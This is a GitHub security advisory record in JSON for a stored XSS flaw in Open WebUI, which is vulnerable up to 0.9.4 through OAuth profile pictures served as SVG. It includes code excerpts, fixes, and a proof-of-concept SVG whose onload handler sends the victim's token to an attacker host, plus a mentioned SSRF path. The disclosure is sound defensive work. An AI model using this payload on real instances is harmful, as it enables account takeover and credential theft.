{"id":"GHSA-3wgj-c2hg-vm6q","summary":"Open WebUI vulnerable to stored XSS via OAuth picture claim stored as SVG data URI in profile_image_url","details":"# Summary\n\nWhen a user signs in via OAuth, Open WebUI fetches the `picture` claim URL, infers a MIME type from the URL extension via `mimetypes.guess_type`, and stores `data:\u003cmime\u003e;base64,...` as the user's profile image. The OAuth code path does not go through the `validate_profile_image_url` Pydantic validator that normally restricts profile images to PNG/JPEG/GIF/WebP. A `.svg` URL in the `picture` claim lands in the database as `data:image/svg+xml;base64,...`.\n\nThe profile image endpoint `GET /api/v1/users/{id}/profile/image` returns the stored data URI with the attacker-controlled MIME type as `Content-Type` and `Content-Disposition: inline`. Security headers (CSP, `X-Content-Type-Options`) are env-gated and not set by default. An authenticated user navigating directly to that URL gets the SVG as a top-level document, executing `\u003cscript\u003e`/`onload` in the same origin and able to read `localStorage.token` → account takeover.\n\nSame class of trust-boundary error as CVE-2025-64496 (trust of untrusted model servers) and CVE-2025-64495 (rich-text XSS). Different sink, different code path.\n\n# Details\n\n## 1. MIME inferred from URL extension, not Content-Type\n\n`backend/open_webui/utils/oauth.py:1336-1345` — `_process_picture_url`:\n\n```python\nresponse = await client.get(picture_url, ...)\nif response.status_code == 200:\n    picture = response.content\n    base64_encoded_picture = base64.b64encode(picture).decode(\"utf-8\")\n    guessed_mime_type = mimetypes.guess_type(picture_url)[0]\n    if guessed_mime_type is None:\n        guessed_mime_type = \"image/jpeg\"\n    return f\"data:{guessed_mime_type};base64,{base64_encoded_picture}\"\n```\n\nNo MIME allowlist. The upstream `Content-Type` is ignored. For a URL ending in `.svg`, `mimetypes.guess_type` returns `image/svg+xml`.\n\n## 2. OAuth path bypasses the profile-image validator\n\n`backend/open_webui/utils/validate.py:10-36` defines `validate_profile_image_url`, which only accepts `/user.png`, `/user-mono.png`, and `data:image/{png,jpeg,gif,webp};base64,...`.\n\nThis validator is wired into Pydantic form models (`SignupForm`, `UpdateProfileForm`, `UserUpdateForm`), but the OAuth flow at `oauth.py:1536-1540` (existing-user login) and `oauth.py:1556-1574` (new-user signup) writes via `Users.update_user_profile_image_url_by_id` and `Auths.insert_new_auth`, both of which call SQLAlchemy directly (`models/users.py:575-588`) without going through any Pydantic model. The SVG data URI lands in the DB unchallenged.\n\n## 3. Endpoint serves attacker-controlled MIME with `inline` disposition\n\n`backend/open_webui/routers/users.py:504-528` — `get_user_profile_image_by_id`:\n\n```python\nheader, encoded = image.split(\",\", 1)\nmedia_type = header.split(\";\")[0].lstrip(\"data:\")  # \"image/svg+xml\"\ndata = base64.b64decode(encoded)\nreturn StreamingResponse(\n    iter([data]),\n    media_type=media_type,\n    headers={\"Content-Disposition\": \"inline\"},\n)\n```\n\nNo MIME whitelist. The route requires `get_verified_user` — any authenticated user reaches it.\n\n## 4. No default CSP / nosniff\n\n`backend/open_webui/utils/security_headers.py:16-61` populates headers only when the operator sets the corresponding env var. The default deployment returns none of these. Browsers render a top-level `image/svg+xml` response as an XML document and execute embedded script.\n\n# PoC\n\n**Prerequisites**: operator has OAuth signup enabled (`ENABLE_OAUTH_SIGNUP=true`) or OAuth login with picture sync (`OAUTH_UPDATE_PICTURE_ON_LOGIN=true`). The attacker has a valid identity on the configured IdP and can set their profile picture URL.\n\n1. Attacker hosts a malicious SVG at `https://attacker.example/p.svg`:\n\n```xml\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\n     onload=\"fetch('https://attacker.example/x?c='+encodeURIComponent(localStorage.getItem('token')))\" /\u003e\n```\n\n2. Attacker sets their IdP profile picture to that URL and signs in to Open WebUI via OAuth. Signup (or login with picture sync) stores `data:image/svg+xml;base64,...` in the attacker's `profile_image_url`.\n\n3. Attacker shares a link to their own profile image with a victim in a chat DM or channel:\n\n```\nhttps://target.example/api/v1/users/\u003cattacker-user-id\u003e/profile/image\n```\n\n4. The authenticated victim clicks the link. The browser receives `Content-Type: image/svg+xml` with `Content-Disposition: inline`, renders the SVG as a top-level document, fires `onload`, and exfiltrates the victim's JWT. Attacker uses the JWT to take over the victim's account.\n\n# Impact\n\n- Account takeover of any authenticated user who opens the crafted URL.\n- Post-takeover: access to the victim's chats, API keys stored in their settings, and — if the victim has `workspace.tools` permission — RCE via installed tools (per CVE-2025-64496 analysis).\n- The same `_process_picture_url` function has no SSRF allowlist; a secondary primitive is to point the `picture` claim at an internal URL (metadata service, internal admin panel) and read the response bytes via the profile image endpoint.\n\n# Suggested fix\n\n1. In `_process_picture_url` (`utils/oauth.py:1336-1345`): reject any MIME outside `{image/png, image/jpeg, image/gif, image/webp}`. Use the upstream `Content-Type` response header, not the URL extension. Also add an SSRF allowlist or at minimum block RFC1918 / link-local / loopback targets.\n\n2. In `get_user_profile_image_by_id` (`routers/users.py:504-528`): enforce a MIME whitelist before building `StreamingResponse`. This is the defense-in-depth layer that should have caught the bypass.\n\n3. Apply `validate_profile_image_url` at the model/storage layer (`Users.update_user_profile_image_url_by_id`), not only at the Pydantic form layer. All write paths to the profile image column should go through the same validator.\n\n4. Set `X-Content-Type-Options: nosniff` and a default CSP unless the operator explicitly disables them.\n\n# References\n\n- `backend/open_webui/utils/oauth.py:1318-1351` — MIME guess + fetch\n- `backend/open_webui/utils/oauth.py:1536-1574` — OAuth write path\n- `backend/open_webui/utils/validate.py:10-36` — validator (bypassed)\n- `backend/open_webui/models/users.py:575-588` — DB write\n- `backend/open_webui/routers/users.py:504-528` — serving endpoint\n- `backend/open_webui/utils/security_headers.py:16-61` — env-gated headers\n- CVE-2025-64496 — precedent: trust boundary error (same class)\n- CVE-2025-64495 — precedent: rich-text XSS (same class)","aliases":["CVE-2026-56398"],"modified":"2026-07-16T03:56:45.437973308Z","published":"2026-05-14T20:27:28Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-05-14T20:27:28Z","nvd_published_at":null,"cwe_ids":["CWE-20","CWE-79"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-3wgj-c2hg-vm6q"},{"type":"PACKAGE","url":"https://github.com/open-webui/open-webui"},{"type":"WEB","url":"https://github.com/open-webui/open-webui/releases/tag/v0.9.5"}],"affected":[{"package":{"name":"open-webui","ecosystem":"PyPI","purl":"pkg:pypi/open-webui"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.5"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.26.dev1","0.6.27","0.6.28","0.6.29","0.6.3","0.6.30","0.6.31","0.6.32","0.6.33","0.6.34","0.6.35","0.6.36","0.6.37","0.6.38","0.6.39","0.6.4","0.6.40","0.6.41","0.6.42","0.6.43","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4"],"database_specific":{"last_known_affected_version_range":"\u003c= 0.9.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-3wgj-c2hg-vm6q/GHSA-3wgj-c2hg-vm6q.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N"}]}